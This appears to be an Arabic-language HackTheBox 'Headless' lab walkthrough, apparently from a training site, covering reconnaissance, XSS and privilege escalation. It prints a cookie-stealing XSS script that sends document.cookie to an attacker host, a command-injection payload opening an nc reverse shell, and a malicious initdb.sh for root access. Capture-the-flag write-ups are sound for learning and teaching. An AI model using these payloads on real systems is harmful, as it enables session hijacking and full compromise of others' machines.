XSS تعلم اختراق مواقع الويب | ثغرة   



Headless | HTB  


مرحبا أيها الهاكر الأخلاقي،

اليوم لدينا حل لمختبر Headless على موقع HackTheBox والذي يركز بالأساس على طريقة اكتشاف واستغلال ثغرة XSS من البداية لحين الحصول على السيطرة الكاملة على الجهاز الذي سنطبق عليه.

لنبدأ...

نقوم أولًا بفحص الشبكة لمعرفة المنافذ المفتوحة والخدمات التي تعمل عليها عن طريق أداة nmap الغنية عن التعريف من خلال الأمر التالي:

┌──(user@kali)-[/home/user]
└─$ sudo nmap IP

الخدمة التي تعمل على منفذ 5000 تبدو مثيرة للاهتمام. لنقم بتطبيق nmap من جديد مع خيارات -sC -sV على المنفذ 5000 فقط:

┌──(user@kali)-[/home/user]
└─$ sudo nmap -sC -sV IP -p PORT

-sC لتنفيذ السكربتات الافتراضية

-sV service/version لاستخراج معلومات الخدمة والنسخة المستخدمة

-p لتحديد المنفذ

من النتيجة الواضحة في الصورة حصلنا على بعض المعلومات المفيدة وتبين أن منفذ 5000 هي لخدمة ويب، لنقم بالدخول إليها عن طريق المتصفح بالشكل التالي:

تبدو صفحة عادية ومصدر الصفحة (Page source) لا توجد فيها معلومات يمكن أن نستفيد منها غير وجود مسار support/ والتي يمكن الوصول إليها من زر For questions أيضًا، وهي صفحة تمكنك من إرسال أسئلة إلى مدير الموقع سنجرب أن نرسل معها أكواد جافا لنرى إن كانت مصابة بثغرة xss.


لذا ملأت الخانات بمعلومات عشوائية وقبل الضغط على زر الإرسال سأقوم الآن بفتح اداة burpsuite لإعتراض الطلبات والتحكم أكثر بها لتجربة أكواد الجافا:

نرسل الطلب الى الRepeater لنتمكن من التعديل عليه قبل إرساله:

نضع كود جافا في قيمة الـ message ونعرض الresponse في المتصفح، اضغط زر الماوس الأيمن ثم اختر Show response in browser ثم انسخ الرابط الذي يظهر لك وقم بفتحه في المتصفح:

نلاحظ أن الموقع قام بالكشف عن وجود محاولة اختراق بسبب أكواد الجافا:

سنقوم بحقن كود الجافا في قيمة User-Agent ونبقي الكود الموجود في قيمة الmessege لنتمكن من رؤية النتيجة عن طريق رسالة الإنذار كما في الصورة السابقة، وتتم العملية كالتالي:

وبعد نسخ رابط الresponse كما فعلنا سابقًا وفتحه في المتصفح سنلاحظ أن الموقع قام بتنفيذ كود الجافا:

بعد أن تأكدنا من إصابة الموقع بثغرة xss نقوم الآن بتنفيذ أكواد متقدمة للحصول على Cookies المدير والتسجيل في الموقع بحساب المدير:

1- سنقوم بعمل خدمة ويب ليستقبل قيمة الـ Cookie ويعرضها على الشاشة عن طريق البايثون (يمكن عملها بطرق أخرى) ونحفظ الملف باسم get_cookie.py

2- نقوم بتشغيل ملف البايثون ونبقيه كذلك:

3- نكتب كود جافا يقوم بسرقة كوكيز المدير ويرسلها إليك،

<script>

var maliciousScript = document.createElement('img'); maliciousScript.src='http://HostIP/?cookie='+encodeURIComponent(document.cookie);

document.body.appendChild(maliciousScript);

</script>



4- نضع كود الجافا في خانة User-Agent ويجب أن تكون سطرًا واحدًا ولا بأس بالمسافات البينية:

5- نعود الى ملف البايثون ونلاحظ وصول قيمة الcookie الخاصة بمدير الموقع:

6- ما علينا الآن سوى تبديل هذه القيمة من إعدادات المتصفح لدينا لنتمكن من تسجيل الدخول إلى الموقع بحساب المدير اتبع الخطوات الموضحة في الصورة التالية:

7- بعد تغيير قيمة الcookie لم يتغير محتوى الصفحة لذلك قمت بالبحث عن المسارات المخفية للموقع عن طريق أداة dirb لإيجاد صفحة تسجيل دخول أو صفحات مشابهة وبالفعل جدت مسار جديد وهو dashboard/ ولا يمكن عرض محتوى الصفحة بصلاحيات المستخدم العادي:

لذا بعد تغيير قيمة الcookie وإعادة فتح الصفحة تم عرض محتوى الصفحة:

Code injection:

قم بالضغط على Generate report واذهب الى burp suite ستلاحظ أنها تقوم بإرسال قيمة التاريخ إلى الخادم لتبحث عن القيمة وترسل لك تقرير بحالة الأنظمة في هذا التاريخ، إذن هي تقوم بعملية برمجية وبما أن قيمة الdate تدخل داخل الكود البرمجي الذي يعتمد عليها بالحساب فيمكننا بذلك تجربة وضع أوامر بدل من قيمة التاريخ، وسنحاول الوصول إلى النظام عن طريق حقن أوامر معينة بقيمة ال date ونحصل على shell عن طريق nc من خلال الأمر التالي:

date=$(nc+YourMachineIP+PORT+-e+/bin/sh)

$(): لاستخدام أمر داخل أمر آخر


وبالفعل نجح الأمر وحصلنا على وصول أولي للجهاز:

تصعيد الصلاحيات لإيجاد ال Flags:


1- اكتب الأمر التالي لإنشاء جلسة أفضل:

script -c bash /dev/null

2- ابحث في الملفات وستجد user.txt في مجلد home/dvir/

3- نكتب الأمر sudo -l لعرض الأوامر التي يمكن للمستخدم الحالي أن ينفذها بصلاحيات عالية

من الصورة الموضحة أعلاه يمكن استخدام الأمر usr/bin/syscheck/ بصلاحيات مدير وبدون كلمة مرور.

وبعد عرض محتوى usr/bin/syscheck/ يبدو أنه يقوم بتنفيذ ملف آخر باسم initdb.sh في المسار الذي أنت فيه ولكن هذا الملف غير موجود:

فالطريقة التي سنقوم فيها بتصعيد صلاحياتنا لصلاحيات مدير هي أننا سنقوم بإنشاء ملف initdb.sh ونضع فيه أي كود ملغم وعندما نقوم بتشغيل الملف usr/bin/syscheck/ بصلاحيات مدير فسيقوم هو بدوره بتنفيذ الملف initdb.sh -الذي أنشأناه وكتبنا الكود الملغم فيه- بصلاحيات مدير أيضًا عبر الخطوات التالية:

1- نقوم بإنشاء وتغيير محتوى ملف initdb.sh:

$ echo "nc 10.10.16.70 1235 -e /bin/bash" > initdb.sh

2- نجعل الملف قابل للتنفيذ من خلال الأمر:

$ chmod +x initdb.sh

3- نقوم بالإستماع الى منفذ 1235 ثم نطبق الأمر:

$ sudo /usr/bin/syscheck

4- حصلنا على الصلاحيات الكاملة في الجهاز:

5- نبحث عن ال root flag وغالبا ما يكون في مسار root/:

بعد ايجادك ال Flag تكون قد اتممت هذا اللاب بنجاح

ان خلاصة ما قمنا به من خطوات لاستغلال هذه الثغرة على لاب Headless هو

1- الكشف واستغلال ثغرة xss بشكل متقدم للحصول على ال cookies.

2- وصول أولي للجهاز عن طريق code injection.

3- تصعيد الصلاحيات من خلال استغلال وجود أخطاء برمجية في أحد ملفات الجهاز.


و لاتنسى ان هذه ثغرة واحدة من كثير من الثغرات الموجودة على مواقع الويب، و كل ثغرة يتم استغلالها بطريقة مختلفة

فاذا كنت مهتم بتعلم مجال اختبار الاختراق او اصطياد الثغرات تواصل معنا 

او اضغط على زر  اختبار الاختراق بالاسفل للمعلومات